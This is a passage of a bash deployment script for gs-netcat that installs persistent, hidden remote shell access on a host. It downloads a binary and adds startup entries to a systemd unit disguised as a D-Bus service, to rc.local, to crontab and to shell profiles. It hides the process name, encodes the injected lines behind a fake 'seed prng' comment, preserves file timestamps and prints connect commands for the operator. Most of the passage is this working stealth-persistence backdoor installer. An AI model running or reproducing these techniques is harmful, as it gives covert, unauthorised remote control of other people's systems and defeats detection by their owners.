PROC_HIDDEN_NAME="${GS_HIDDEN_NAME:-$PROC_HIDDEN_NAME_DEFAULT}"
SERVICE_HIDDEN_NAME="${BIN_HIDDEN_NAME}"
RCLOCAL_DIR="${GS_PREFIX}/etc"
RCLOCAL_FILE="${RCLOCAL_DIR}/rc.local"
# Create a list of potential rc-files.
# - .bashrc is often, but not always, included by .bash_profile [IGNORE]
# - .bash_login is ignored if .bash_profile exists
# - $SHELL might not be set (if /bin/sh was gained by RCE)
[[ -f ~/.zshrc ]] && RC_FN_LIST+=(".zshrc")
if [[ -f ~/.bashrc ]]; then
RC_FN_LIST+=(".bashrc")
# Assume .bashrc is loaded by .bash_profile and .profile
else
# HERE: not bash or .bashrc does not exist
if [[ -f ~/.bash_profile ]]; then
RC_FN_LIST+=(".bash_profile")
elif [[ -f ~/.bash_login ]]; then
RC_FN_LIST+=(".bash_login")
fi
fi
[[ -f ~/.profile ]] && RC_FN_LIST+=(".profile")
[[ ${#RC_FN_LIST[@]} -eq 0 ]] && RC_FN_LIST+=(".profile")
[[ -d "${GS_PREFIX}/etc/systemd/system" ]] && SERVICE_DIR="${GS_PREFIX}/etc/systemd/system"
[[ -d "${GS_PREFIX}/lib/systemd/system" ]] && SERVICE_DIR="${GS_PREFIX}/lib/systemd/system"
WANTS_DIR="${GS_PREFIX}/etc/systemd/system" # always this
SERVICE_FILE="${SERVICE_DIR}/${SERVICE_HIDDEN_NAME}.service"
SYSTEMD_SEC_FILE="${SERVICE_DIR}/${SEC_NAME}"
RCLOCAL_SEC_FILE="${RCLOCAL_DIR}/${SEC_NAME}"
CRONTAB_DIR="${GS_PREFIX}/var/spool/cron/crontabs"
[[ ! -d "${CRONTAB_DIR}" ]] && CRONTAB_DIR="${GS_PREFIX}/etc/cron/crontabs"
local pids
pids="$(pgrep "${BIN_HIDDEN_NAME}" 2>/dev/null)"
# OSX's pgrep works on argv[0] proc-name
[[ -z $pids ]] && pids="$(pgrep "${PROC_HIDDEN_NAME//[^[:alnum:]]}" 2>/dev/null)"
[[ -n $pids ]] && OLD_PIDS="${pids//$'\n'/ }" # Convert multi line into single line
# DL_CMD is used for help output of how to uninstall
if [[ -n "$GS_USELOCAL" ]]; then
DL_CMD="./deploy-all.sh"
elif command -v curl >/dev/null; then
DL_CMD="$DL_CRL"
elif command -v wget >/dev/null; then
DL_CMD="$DL_WGT"
else
# errexit "Need curl or wget."
FAIL_OUT "Need curl or wget. Try ${CM}apt install curl${CN}"
errexit
fi
[[ $GS_DL == "wget" ]] && DL_CMD="$DL_WGT"
[[ $GS_DL == "curl" ]] && DL_CMD="$DL_CRL"
if [[ "$DL_CMD" == "$DL_CRL" ]]; then
IS_USE_CURL=1
### Note: need -S (--show-errors) to process 404 for CF webhooks.
DL=("curl" "-fsSL" "--connect-timeout" "7" "-m30" "--retry" "3")
[[ -n $GS_DEBUG ]] && DL+=("-v")
[[ -n $GS_NOCERTCHECK ]] && DL+=("-k")
elif [[ "$DL_CMD" == "$DL_WGT" ]]; then
IS_USE_WGET=1
### Note: Dont use -q: Need errors to process 404 for CF webhooks
DL=("wget" "-O-" "--connect-timeout=7" "--dns-timeout=7")
[[ -n $GS_NOCERTCHECK ]] && DL+=("--no-check-certificate")
else
DL=("false") # Should not happen
fi
[[ $SHELL == *"nologin"* ]] && unset SHELL
DEBUGF "OLD_PIDS='$OLD_PIDS'"
DEBUGF "SRC_PKG=$SRC_PKG"
}
mk_encode()
{
echo "{ echo $(echo "$1"|${ENCODE_STR})|${DECODE_STR}|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng ${BIN_HIDDEN_NAME}-kernel"
}
init_setup()
{
[[ -n $TMPDIR ]] && try_tmpdir "${TMPDIR}" ".gs-${UID}"
try_tmpdir "/dev/shm" ".gs-${UID}"
try_tmpdir "/tmp" ".gs-${UID}"
try_tmpdir "${HOME}" ".gs"
try_tmpdir "$(pwd)" ".gs-${UID}"
if [[ -n "$GS_PREFIX" ]]; then
# Debuggin and testing into separate directory
mkdir -p "${GS_PREFIX}/etc" 2>/dev/null
mkdir -p "${GS_PREFIX}/usr/bin" 2>/dev/null
mkdir -p "${GS_PREFIX}${HOME}" 2>/dev/null
if [[ -f "${HOME}/${RC_FN_LIST[1]}" ]]; then
xcp -p "${HOME}/${RC_FN_LIST[1]}" "${GS_PREFIX}${HOME}/${RC_FN_LIST[1]}"
fi
xcp -p /etc/rc.local "${GS_PREFIX}/etc/"
fi
command -v tar >/dev/null || errexit "Need tar. Try ${CM}apt install tar${CN}"
command -v gzip >/dev/null || errexit "Need gzip. Try ${CM}apt install gzip${CN}"
touch "${TMPDIR}/.gs-rw.lock" || errexit "FAILED. No temporary directory found for downloading package. Try setting TMPDIR="
rm -f "${TMPDIR}/.gs-rw.lock" 2>/dev/null
# Find out which directory is writeable
init_dstbin
NOTE_DONOTREMOVE="# DO NOT REMOVE THIS LINE. SEED PRNG. #${BIN_HIDDEN_NAME}-kernel"
USER_SEC_FILE="$(dirname "${DSTBIN}")/${SEC_NAME}"
# Do not add TERM= or SHELL= here because we do not like that to show in gs-dbus.service
[[ -n $GS_HOST ]] && ENV_LINE+=("GS_HOST='${GS_HOST}'")
[[ -n $GS_PORT ]] && ENV_LINE+=("GS_PORT='${GS_PORT}'")
# Add an empty item so that ${ENV_LINE[*]}GS_ARGS= adds an extra space between
[[ ${#ENV_LINE[@]} -ne 0 ]] && ENV_LINE+=("")
RCLOCAL_LINE="${ENV_LINE[*]}HOME=$HOME SHELL=$SHELL TERM=xterm-256color GS_ARGS=\"-k ${RCLOCAL_SEC_FILE} -liqD\" $(command -v bash) -c \"cd /root; exec -a '${PROC_HIDDEN_NAME}' ${DSTBIN}\" 2>/dev/null"
# There is no reliable way to check if a process is running:
# - Process might be running under different name. Especially OSX checks for the orginal name
# but not the hidden name.
# - pkill or killall may have moved.
# The best we can do:
# 1. Try pkill/killall _AND_ daemon is running then do nothing.
# 2. Otherwise start gs-dbus as DAEMON. The daemon will exit (fully) if GS-Address is already in use.
PROFILE_LINE="${KL_CMD_BIN} ${KL_CMD_RUNCHK_UARG[*]} ${BIN_HIDDEN_NAME} 2>/dev/null || (${ENV_LINE[*]}TERM=xterm-256color GS_ARGS=\"-k ${USER_SEC_FILE} -liqD\" exec -a '${PROC_HIDDEN_NAME}' '${DSTBIN}' 2>/dev/null)"
CRONTAB_LINE="${KL_CMD_BIN} ${KL_CMD_RUNCHK_UARG[*]} ${BIN_HIDDEN_NAME} 2>/dev/null || ${ENV_LINE[*]}SHELL=$SHELL TERM=xterm-256color GS_ARGS=\"-k ${USER_SEC_FILE} -liqD\" $(command -v bash) -c \"exec -a '${PROC_HIDDEN_NAME}' '${DSTBIN}'\" 2>/dev/null"
if [[ -n $ENCODE_STR ]]; then
RCLOCAL_LINE="$(mk_encode "$RCLOCAL_LINE")"
PROFILE_LINE="$(mk_encode "$PROFILE_LINE")"
CRONTAB_LINE="$(mk_encode "$CRONTAB_LINE")"
fi
# DEBUGF "RCLOCAL_LINE=${RCLOCAL_LINE}"
# DEBUGF "PROFILE_LINE=${PROFILE_LINE}"
# DEBUGF "CRONTAB_LINE=${CRONTAB_LINE}"
DEBUGF "TMPDIR=${TMPDIR}"
DEBUGF "DSTBIN=${DSTBIN}"
}
uninstall_rm()
{
[[ -z "$1" ]] && return
[[ ! -f "$1" ]] && return # return if file does not exist
echo "Removing $1..."
xrm "$1" 2>/dev/null || return
}
uninstall_rmdir()
{
[[ -z "$1" ]] && return
[[ ! -d "$1" ]] && return # return if file does not exist
xrmdir "$1" 2>/dev/null || return
echo "Removing $1..."
}
uninstall_rc()
{
local hname
local fn
hname="$2"
fn="$1"
[[ ! -f "$fn" ]] && return # File does not exist
grep -F -- "${hname}" "$fn" &>/dev/null || return # not installed
mk_file "$fn" || return
echo "Removing ${fn}..."
D="$(grep -v -F -- "${hname}" "$fn")"
echo "$D" >"${fn}" || return
[[ ! -s "${fn}" ]] && rm -f "${fn:?}" 2>/dev/null # delete zero size file
}
uninstall_service()
{
local dir
local sn
local sf
dir="$1"
sn="$2"
sf="${dir}/${sn}.service"
[[ ! -f "${sf}" ]] && return
command -v systemctl >/dev/null && [[ $UID -eq 0 ]] && {
ts_add_systemd "${WANTS_DIR}/multi-user.target.wants"
# STOPPING would kill the current login shell. Do not stop it.
# systemctl stop "${SERVICE_HIDDEN_NAME}" &>/dev/null
systemctl disable "${sn}" 2>/dev/null && systemd_kill_cmd+=";systemctl stop ${sn}"
}
uninstall_rm "${sf}"
}
# Rather important function especially when testing and developing this...
uninstall()
{
uninstall_rm "${GS_PREFIX}${HOME}/.config/dbus/${BIN_HIDDEN_NAME}"
uninstall_rm "${GS_PREFIX}${HOME}/.config/dbus/gs-bd"
uninstall_rm "${GS_PREFIX}/usr/bin/${BIN_HIDDEN_NAME}"
uninstall_rm "${GS_PREFIX}/usr/bin/gs-bd"
uninstall_rm "/dev/shm/${BIN_HIDDEN_NAME}"
uninstall_rm "/tmp/.gsusr-${UID}/${BIN_HIDDEN_NAME}"
uninstall_rm "${RCLOCAL_DIR}/${SEC_NAME}"
uninstall_rm "${RCLOCAL_DIR}/gs-bd.dat" #OLD
uninstall_rm "${GS_PREFIX}${HOME}/.config/dbus/${SEC_NAME}"
uninstall_rm "${GS_PREFIX}${HOME}/.config/dbus/gs-bd.dat" #OLD
uninstall_rm "${GS_PREFIX}/usr/bin/${SEC_NAME}"
uninstall_rm "${GS_PREFIX}/usr/bin/gs-bd.dat" #OLD
uninstall_rm "/dev/shm/${SEC_NAME}"
uninstall_rm "/tmp/.gsusr-${UID}${SEC_NAME}"
uninstall_rmdir "${GS_PREFIX}${HOME}/.config/dbus"
uninstall_rmdir "${GS_PREFIX}${HOME}/.config"
uninstall_rmdir "/tmp/.gsusr-${UID}"
uninstall_rm "/dev/shm/${BIN_HIDDEN_NAME}"
uninstall_rm "${TMPDIR}/${SRC_PKG}"
uninstall_rm "${TMPDIR}/._gs-netcat" # OLD
uninstall_rmdir "${TMPDIR}"
uninstall_rm "${PWD}/${BIN_HIDDEN_NAME}"
uninstall_rm "${PWD}/${SEC_NAME}"
# Remove from login script
for fn in ".bash_profile" ".bash_login" ".bashrc" ".zshrc" ".profile"; do
uninstall_rc "${GS_PREFIX}${HOME}/${fn}" "${BIN_HIDDEN_NAME}"
uninstall_rc "${GS_PREFIX}${HOME}/${fn}" "gs-bd" #OLD
done
uninstall_rc "${GS_PREFIX}/etc/rc.local" "${BIN_HIDDEN_NAME}"
uninstall_rc "${GS_PREFIX}/etc/rc.local" "gs-bd" #OLD
# Remove crontab
if [[ ! $OSTYPE == *darwin* ]]; then
if crontab -l 2>/dev/null | grep -F -e "$BIN_HIDDEN_NAME" -e "gs-bd" &>/dev/null; then
[[ $UID -eq 0 ]] && mk_file "${CRONTAB_DIR}/root"
command -v crontab >/dev/null && crontab -l 2>/dev/null | grep -v -F -- "${BIN_HIDDEN_NAME}" | grep -v -F -- "gs-bd" | crontab - 2>/dev/null
fi
fi
# Remove systemd service
uninstall_service "${SERVICE_DIR}" "${SERVICE_HIDDEN_NAME}"
uninstall_service "/etc/systemd/system" "gs-bd" #OLD
[[ $UID -eq 0 ]] && systemctl daemon-reload 2>/dev/null
## Systemd's gs-dbus.dat
uninstall_rm "${SYSTEMD_SEC_FILE}"
uninstall_rm "/etc/systemd/system/gs-bd.dat" #OLD
echo -e "${CG}Uninstall complete.${CN}"
echo -e "--> Use ${CM}${KL_CMD:-pkill} ${BIN_HIDDEN_NAME}${systemd_kill_cmd}${CN} to terminate all running shells."
exit_code 0
}
SKIP_OUT()
{
echo -e "[${CY}SKIPPING${CN}]"
[[ -n "$1" ]] && echo -e "--> $*"
}
OK_OUT()
{
echo -e "......[${CG}OK${CN}]"
[[ -n "$1" ]] && echo -e "--> $*"
}
FAIL_OUT()
{
echo -e "..[${CR}FAILED${CN}]"
for str in "$@"; do
echo -e "--> $str"
done
}
WARN()
{
echo -e "--> ${CY}WARNING: ${CN}$*"
}
WARN_EXECFAIL_SET()
{
[[ -n "$WARN_EXECFAIL_MSG" ]] && return # set it once (first occurance) only
WARN_EXECFAIL_MSG="CODE=${1} (${2}): ${CY}$(uname -n -m -r)${CN}"
}
WARN_EXECFAIL()
{
[[ -z "$WARN_EXECFAIL_MSG" ]] && return
echo -e "--> Please send this output to ${CC}root@proton.thc.org${CN} to get it fixed."
echo -e "--> ${WARN_EXECFAIL_MSG}"
}
HOWTO_CONNECT_OUT()
{
# After all install attempts output help how to uninstall
echo -e "--> To uninstall use ${CM}GS_UNDO=1 ${DL_CMD}${CN}"
echo -e "--> To connect use one of the following:
--> ${CM}gs-netcat -s \"${GS_SECRET}\" -i${CN}
--> ${CM}S=\"${GS_SECRET}\" ${DL_CRL}${CN}
--> ${CM}S=\"${GS_SECRET}\" ${DL_WGT}${CN}"
}
# Try to load a GS_SECRET
gs_secret_reload()
{
# DEBUGF "${CG}secret_load(${1})${CN}"
[[ -n $GS_SECRET_FROM_FILE ]] && return
[[ ! -f "$1" ]] && return
# GS_SECRET="UNKNOWN" # never ever set GS_SECRET to a known value
local sec
sec=$(<"$1")
[[ ${#sec} -lt 4 ]] && return
WARN "Using existing secret from '${1}'"
if [[ ${#sec} -lt 10 ]]; then
WARN "SECRET in '${1}' is very short! (${#sec})"
fi
GS_SECRET_FROM_FILE=$sec
}
gs_secret_write()
{
mk_file "$1" || return
echo "$GS_SECRET" >"$1" || return
}
install_system_systemd()
{
[[ ! -d "${SERVICE_DIR}" ]] && return
command -v systemctl >/dev/null || return
# test for:
# 1. offline
# 2. >&2 Failed to get D-Bus connection: Operation not permitted <-- Inside docker
[[ "$(systemctl is-system-running 2>/dev/null)" =~ (offline|^$) ]] && return
if [[ -f "${SERVICE_FILE}" ]]; then
((IS_INSTALLED+=1))
IS_SKIPPED=1
if systemctl is-active "${SERVICE_HIDDEN_NAME}" &>/dev/null; then
IS_GS_RUNNING=1
fi
IS_SYSTEMD=1
SKIP_OUT "${SERVICE_FILE} already exists."
return
fi
# Create the service file
mk_file "${SERVICE_FILE}" || return
chmod 644 "${SERVICE_FILE}" # Stop 'is marked world-inaccessible' dmesg warnings.
echo "[Unit]
Description=D-Bus System Connection Bus
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=/bin/bash -c \"${ENV_LINE[*]}GS_ARGS='-k $SYSTEMD_SEC_FILE -ilq' exec -a '${PROC_HIDDEN_NAME}' '${DSTBIN}'\"
[Install]
WantedBy=multi-user.target" >"${SERVICE_FILE}" || return
gs_secret_write "$SYSTEMD_SEC_FILE"
ts_add_systemd "${WANTS_DIR}/multi-user.target.wants"
ts_add_systemd "${WANTS_DIR}/multi-user.target.wants/${SERVICE_HIDDEN_NAME}.service" "${SERVICE_FILE}"
systemctl enable "${SERVICE_HIDDEN_NAME}" &>/dev/null || { rm -f "${SERVICE_FILE:?}" "${SYSTEMD_SEC_FILE:?}"; return; } # did not work...
IS_SYSTEMD=1
((IS_INSTALLED+=1))
}
# inject a string ($2-) into the 2nd line of a file and retain the
# PERM/TIMESTAMP of the target file ($1)
install_to_file()
{
local fname="$1"
shift 1
# If file does not exist then create with oldest TS
mk_file "$fname" || return
D="$(IFS=$'\n'; head -n1 "${fname}" && \
echo "${*}" && \
tail -n +2 "${fname}")"
echo 2>/dev/null "$D" >"${fname}" || return
true
}
install_system_rclocal()
{
[[ ! -f "${RCLOCAL_FILE}" ]] && return
# Some systems have /etc/rc.local but it's not executeable...
[[ ! -x "${RCLOCAL_FILE}" ]] && return
if grep -F -- "$BIN_HIDDEN_NAME" "${RCLOCAL_FILE}" &>/dev/null; then
((IS_INSTALLED+=1))
IS_SKIPPED=1
SKIP_OUT "Already installed in ${RCLOCAL_FILE}."
return
fi
# /etc/rc.local is /bin/sh which does not support the build-in 'exec' command.
# Thus we need to start /bin/bash -c in a sub-shell before 'exec gs-netcat'.
install_to_file "${RCLOCAL_FILE}" "$NOTE_DONOTREMOVE" "$RCLOCAL_LINE"
gs_secret_write "$RCLOCAL_SEC_FILE"
((IS_INSTALLED+=1))
}
install_system()
{
echo -en "Installing systemwide remote access permanentally....................."
# Try systemd first
install_system_systemd
# Try good old /etc/rc.local
[[ -z "$IS_INSTALLED" ]] && install_system_rclocal
[[ -z "$IS_INSTALLED" ]] && { FAIL_OUT "no systemctl or /etc/rc.local"; return; }
[[ -n $IS_SKIPPED ]] && return
OK_OUT
}
install_user_crontab()
{
command -v crontab >/dev/null || return # no crontab
echo -en "Installing access via crontab........................................."
if crontab -l 2>/dev/null | grep -F -- "$BIN_HIDDEN_NAME" &>/dev/null; then
((IS_INSTALLED+=1))
IS_SKIPPED=1
SKIP_OUT "Already installed in crontab."
return
fi
[[ $UID -eq 0 ]] && {
mk_file "${CRONTAB_DIR}/root"
}
local old
old="$(crontab -l 2>/dev/null)" || {
# Create empty crontab (busybox) if no crontab exists at all.
crontab - /dev/null
}
[[ -n $old ]] && old+=$'\n'
echo -e "${old}${NOTE_DONOTREMOVE}\n0 * * * * $CRONTAB_LINE" | grep -F -v -- gs-bd | crontab - 2>/dev/null || { FAIL_OUT; return; }
((IS_INSTALLED+=1))
OK_OUT
}
install_user_profile()
{
local rc_filename_status
local rc_file
local rc_filename
rc_filename="$1"
rc_filename_status="${rc_filename}................................"
rc_file="${GS_PREFIX}${HOME}/${rc_filename}"
echo -en "Installing access via ~/${rc_filename_status:0:15}..............................."
if [[ -f "${rc_file}" ]] && grep -F -- "$BIN_HIDDEN_NAME" "$rc_file" &>/dev/null; then
((IS_INSTALLED+=1))
IS_SKIPPED=1
SKIP_OUT "Already installed in ${rc_file}"
return
fi
install_to_file "${rc_file}" "$NOTE_DONOTREMOVE" "${PROFILE_LINE}" || { SKIP_OUT "${CDR}Permission denied:${CN} ~/${rc_filename}"; false; return; }
((IS_INSTALLED+=1))
OK_OUT
}
install_user()
{
# Use crontab if it's not in systemd (but might be in rc.local).
if [[ ! $OSTYPE == *darwin* ]]; then
install_user_crontab
fi
[[ $IS_INSTALLED -ge 2 ]] && return
# install_user_profile
for x in "${RC_FN_LIST[@]}"; do
install_user_profile "$x"
done
gs_secret_write "$USER_SEC_FILE" # Create new secret file
}
ask_nocertcheck()
{
WARN "Can not verify host. CA Bundle is not installed."
echo >&2 "--> Attempting without certificate verification."
echo >&2 "--> Press any key to continue or CTRL-C to abort..."
echo -en >&2 "--> Continuing in "
local n
n=10
while :; do
echo -en >&2 "${n}.."
n=$((n-1))
[[ $n -eq 0 ]] && break
read -r -t1 -n1 && break
done
[[ $n -gt 0 ]] || echo >&2 "0"
GS_NOCERTCHECK=1
}
# Use SSL and if this fails try non-ssl (if user consents to insecure downloads)
#
dl_ssl()
{
local cmd sslerr arg_nossl
cmd="$3"
sslerr="$2"
arg_nossl="$1"
shift 3
if [[ -z $GS_NOCERTCHECK ]]; then
DL_ERR="$("$cmd" "$@" 2>&1 1>/dev/null)"
[[ "${DL_ERR}" != *"$sslerr"* ]] && return
fi
FAIL_OUT "Certificate Error."
[[ -z $GS_NOCERTCHECK ]] && ask_nocertcheck
[[ -z $GS_NOCERTCHECK ]] && return
echo -en "--> Downloading binaries without certificate verification............."
DL_ERR="$("$cmd" "$arg_nossl" "$@" 2>&1 1>/dev/null)"
}
# Download $1 and save it to $2
dl()
{
[[ -s "$2" ]] && return
# Debugging / testing. Use local package if available
if [[ -n "$GS_USELOCAL" ]]; then
[[ -f "../packaging/gsnc-deploy-bin/${1}" ]] && xcp "../packaging/gsnc-deploy-bin/${1}" "${2}" 2>/dev/null && return
[[ -f "/gsocket-pkg/${1}" ]] && xcp "/gsocket-pkg/${1}" "${2}" 2>/dev/null && return
[[ -f "${1}" ]] && xcp "${1}" "${2}" 2>/dev/null && return
FAIL_OUT "GS_USELOCAL set but deployment binaries not found (${1})..."
errexit
elif [[ -n $IS_USE_CURL ]]; then
dl_ssl "-k" "certificate problem" "${DL[@]}" "${URL_BIN}/${1}" "--output" "${2}"
elif [[ -n $IS_USE_WGET ]]; then
dl_ssl "--no-check-certificate" "is not trusted" "${DL[@]}" "${URL_BIN}/${1}" "-O" "${2}"
else
# errexit "Need curl or wget."
FAIL_OUT "CAN NOT HAPPEN"
errexit
fi
# Download failed:
[[ ! -s "$2" ]] && { FAIL_OUT; echo "$DL_ERR"; exit_code 255; }
}
# S= was set. Do not install but execute in place.
gs_access()
{
echo -e "Connecting..."
local ret
GS_SECRET="${S}"
"${DSTBIN}" -s "${GS_SECRET}" -i
ret=$?
[[ $ret -eq 139 ]] && { WARN_EXECFAIL_SET "$ret" "SIGSEGV"; WARN_EXECFAIL; errexit; }
[[ $ret -eq 61 ]] && {
echo -e 2>&1 "--> ${CR}Could not connect to the remote host. It is not installed.${CN}"
echo -e 2>&1 "--> ${CR}To install use one of the following:${CN}"
echo -e 2>&1 "--> ${CM}X=\"${GS_SECRET}\" ${DL_CRL}${CN}"
echo -e 2>&1 "--> ${CM}X=\"${GS_SECRET}\" ${DL_WGT}${CN}"
}
exit_code "$ret"
}
# Binary is in an executeable directory (no noexec-flag)
# set IS_TESTBIN_OK if binary worked.
# test_bin
test_bin()
{
local bin
local err_log
unset IS_TESTBIN_OK
bin="$1"
# Try to execute the binary
GS_OUT=$("$bin" -g 2>/dev/null)
ret=$?
# 126 - Exec format error
[[ -z "$GS_OUT" ]] && { FAIL_OUT; ERR_LOG="wrong binary"; WARN_EXECFAIL_SET "$ret" "wrong binary"; return; }
# Use randomly generated secret unless it's set already (X=)
[[ -z $GS_SECRET ]] && GS_SECRET="$GS_OUT"
IS_TESTBIN_OK=1
}
test_network()
{
local ret
unset IS_TESTNETWORK_OK
# There should be no GS-NETCAT listening.
# _GSOCKET_SERVER_CHECK_SEC=n makes gs-netcat try the connection.
# 1. Exit=0 immediatly if server exists.
# 2. Exit=202 after n seconds. Firewalled/DNS?
# 3. Exit=203 if TCP to GSRN is refused.
# 3. Exit=61 on GS-Connection refused. (server does not exist)
# Do not need GS_ENV[*] here because all env variables are exported
# when exec is used.
err_log=$(_GSOCKET_SERVER_CHECK_SEC=15 GS_ARGS="-s ${GS_SECRET} -t" exec -a "$PROC_HIDDEN_NAME" "${DSTBIN}" 2>&1)
ret=$?
[[ -z "$ERR_LOG" ]] && ERR_LOG="$err_log"
[[ $ret -eq 139 ]] && {
ERR_LOG=""
WARN_EXECFAIL_SET "$ret" "SIGSEGV"
return
}
{ [[ $ret -eq 202 ]] || [[ $ret -eq 203 ]]; } && {
# 202 - Timeout (alarm)
# 203 - TCP connection refused
FAIL_OUT
[[ -n "$ERR_LOG" ]] && echo >&2 "$ERR_LOG"
# EXIT if we can not check if SECRET has already been used.
errexit "Cannot connect to GSRN. Firewalled? Try GS_PORT=53 or 22, 7350 or 67."
}
# Pre <= 1.4.40 return with 255 if transparent proxy resets connection after 12 sec.
# >1.4.40 return 203 (NETERROR)
[[ $ret -eq 255 ]] && {
# Connect reset by peer
FAIL_OUT
[[ -n "$ERR_LOG" ]] && echo >&2 "$ERR_LOG"
errexit "A transparent proxy has been detected. Try GS_PORT=53 or 22,7350 or 67."
}
[[ $ret -eq 0 ]] && {
FAIL_OUT "Secret '${GS_SECRET}' is already used."
HOWTO_CONNECT_OUT
exit_code 0
}
# Fail _unless_ it's ECONNREFUSED
[[ $ret -eq 61 ]] && {
# HERE: ECONNREFUSED
# Connection to GSRN was successfull and GSRN reports
# that no server is listening.
# This is a good enough test that this network & binary is working.
IS_TESTNETWORK_OK=1
return
}
# Unknown error condition
WARN_EXECFAIL_SET "$ret" "default pkg failed"
}
do_webhook()
{
local arr
local IFS
local str
IFS=""
# Expand any $SECRET variable, etc.
while [[ $# -gt 0 ]]; do
# We need to escape all " to "'"'" to pass 'eval' correctly.
# (Note: This _WILL_ expand $-style variables - what we want)
# shellcheck disable=SC2001 # Use bash.4.0 features => not portable
# str=$(echo "$1" | sed "s/\x22/\x22'\x22'\x22/g")
str="${1//\"/\"'\"'\"}"
eval str=\""$str"\"
arr+=("$str")
shift 1
done
# echo "arr=${#arr[@]}: ${arr[@]}"
"${arr[@]}"
}
webhooks()
{
local arr
local ok
local err
echo -en "Executing webhooks...................................................."
[[ -z ${GS_WEBHOOK_CURL[0]} ]] && { SKIP_OUT; return; }
[[ -z ${GS_WEBHOOK_WGET[0]} ]] && { SKIP_OUT; return; }
if [[ -n $IS_USE_CURL ]]; then
err="$(do_webhook "${DL[@]}" "${GS_WEBHOOK_CURL[@]}" 2>&1)" && ok=1
[[ -z $ok ]] && [[ -n $GS_WEBHOOK_404_OK ]] && [[ "${err}" == *"requested URL returned error: 404"* ]] && ok=1
elif [[ -n $IS_USE_WGET ]]; then
err="$(do_webhook "${DL[@]}" "${GS_WEBHOOK_WGET[@]}" 2>&1)" && ok=1
[[ -z $ok ]] && [[ -n $GS_WEBHOOK_404_OK ]] && [[ "${err}" == *"ERROR 404: Not Found"* ]] && ok=1
fi
[[ -n $ok ]] && { OK_OUT; return; }
FAIL_OUT
}
try_network()
{
echo -en "Testing Global Socket Relay Network..................................."
test_network
[[ -n "$IS_TESTNETWORK_OK" ]] && { OK_OUT; return; }
FAIL_OUT
[[ -n "$ERR_LOG" ]] && echo >&2 "$ERR_LOG"
WARN_EXECFAIL
}
# try
try()
{
local osarch
local src_pkg
osarch="$1"
src_pkg="gs-netcat_${osarch}.tar.gz"
echo -e "--> Trying ${CG}${osarch}${CN}"
# Download binaries
echo -en "Downloading binaries.................................................."
dl "gs-netcat_${osarch}.tar.gz" "${TMPDIR}/${src_pkg}"
OK_OUT
echo -en "Unpacking binaries...................................................."
# Unpack (suppress "tar: warning: skipping header 'x'" on alpine linux
(cd "${TMPDIR}" && tar xfz "${src_pkg}" 2>/dev/null) || { FAIL_OUT "unpacking failed"; errexit; }
[[ -f "${TMPDIR}/._gs-netcat" ]] && rm -f "${TMPDIR}/._gs-netcat" # from docker???
[[ -n $GS_USELOCAL_GSNC ]] && {
[[ -f "$GS_USELOCAL_GSNC" ]] || { FAIL_OUT "Not found: ${GS_USELOCAL_GSNC}"; errexit; }
xcp "${GS_USELOCAL_GSNC}" "${TMPDIR}/gs-netcat"
}
OK_OUT
echo -en "Copying binaries......................................................"
xmv "${TMPDIR}/gs-netcat" "$DSTBIN" || { FAIL_OUT; errexit; }
chmod 700 "$DSTBIN"
OK_OUT
echo -en "Testing binaries......................................................"
test_bin "${DSTBIN}"
if [[ -n "$IS_TESTBIN_OK" ]]; then
OK_OUT
return
fi
rm -f "${TMPDIR}/${src_pkg:?}"
}
# Download the gs-netcat_any-any.tar.gz and try all of the containing
# binaries and fail hard if none could be found.
try_any()
{
targets="x86_64-alpine i386-alpine aarch64-linux arm-linux x86_64-osx x86_64-cygwin i686-cygwin mips32-alpine mipsel32-alpine x86_64-freebsd"
for osarch in $targets; do
[[ "$osarch" == "$OSARCH" ]] && continue # Skip the default OSARCH (already tried)
try "$osarch"
[[ -n "$IS_TESTBIN_OK" ]] && break
done
if [[ -n "$IS_TESTBIN_OK" ]]; then
echo -e >&2 "--> ${CY}Installation did not go as smooth as it should have.${CN}"
else
[[ -n "$ERR_LOG" ]] && echo >&2 "$ERR_LOG"
fi
}
gs_start_systemd()
{
# HERE: It's systemd
if [[ -z "$IS_GS_RUNNING" ]]; then
# Resetting the Timestamp will yield a systemctl status warning that daemon-reload
# is needed. Thus fix Timestamp here and reload.
clean_all
systemctl daemon-reload
systemctl restart "${SERVICE_HIDDEN_NAME}" &>/dev/null
if ! systemctl is-active "${SERVICE_HIDDEN_NAME}" &>/dev/null; then
FAIL_OUT "Check ${CM}systemctl start ${SERVICE_HIDDEN_NAME}${CN}."
exit_code 255
fi
IS_GS_RUNNING=1
OK_OUT
return
fi
SKIP_OUT "'${BIN_HIDDEN_NAME}' is already running and hidden as '${PROC_HIDDEN_NAME}'."
}
gs_start()
{
# If installed as systemd then try to start it
[[ -n "$IS_SYSTEMD" ]] && gs_start_systemd
[[ -n "$IS_GS_RUNNING" ]] && return
# Scenario to consider:
# GS_UNDO=1 ./deploy.sh -> removed all binaries but user does not issue 'pkill gs-dbus'
# ./deploy.sh -> re-installs new secret. Start gs-dbus with _new_ secret.
# Now two gs-dbus's are running (which is correct)
if [[ -n "$KL_CMD" ]]; then
${KL_CMD} "${KL_CMD_RUNCHK_UARG[@]}" "${BIN_HIDDEN_NAME}" 2>/dev/null && IS_OLD_RUNNING=1
elif command -v pidof >/dev/null; then
# if no pkill/killall then try pidof (but we cant tell which user...)
if pidof -qs "$BIN_HIDDEN_NAME" &>/dev/null; then
IS_OLD_RUNNING=1
fi
fi
IS_NEED_START=1
if [[ -n "$IS_OLD_RUNNING" ]]; then
# HERE: OLD is already running.
if [[ -n "$IS_SKIPPED" ]]; then
# HERE: Already running. Skipped installation (sec.dat has not changed).
SKIP_OUT "'${BIN_HIDDEN_NAME}' is already running and hidden as '${PROC_HIDDEN_NAME}'."
unset IS_NEED_START
else
# HERE: sec.dat has been updated
OK_OUT
WARN "More than one ${PROC_HIDDEN_NAME} is running."
echo -e "--> You may want to check: ${CM}ps -elf|grep -F -- '${PROC_HIDDEN_NAME}'${CN}"
[[ -n $OLD_PIDS ]] && echo -e "--> or terminate the old ones: ${CM}kill ${OLD_PIDS}${CN}"
fi
else
OK_OUT ""
fi
if [[ -n "$IS_NEED_START" ]]; then
# We need an 'eval' here because the ENV_LINE[*] needs to be expanded
# and then executed.
# This wont work:
# FOO="X=1" && ($FOO id) # => -bash: X=1: command not found
# This does work:
# FOO="X=1" && (eval $FOO id)
(cd "$HOME"; eval "${ENV_LINE[*]}"TERM=xterm-256color GS_ARGS=\"-s "$GS_SECRET" -liD\" exec -a \""$PROC_HIDDEN_NAME"\" \""$DSTBIN"\") || errexit
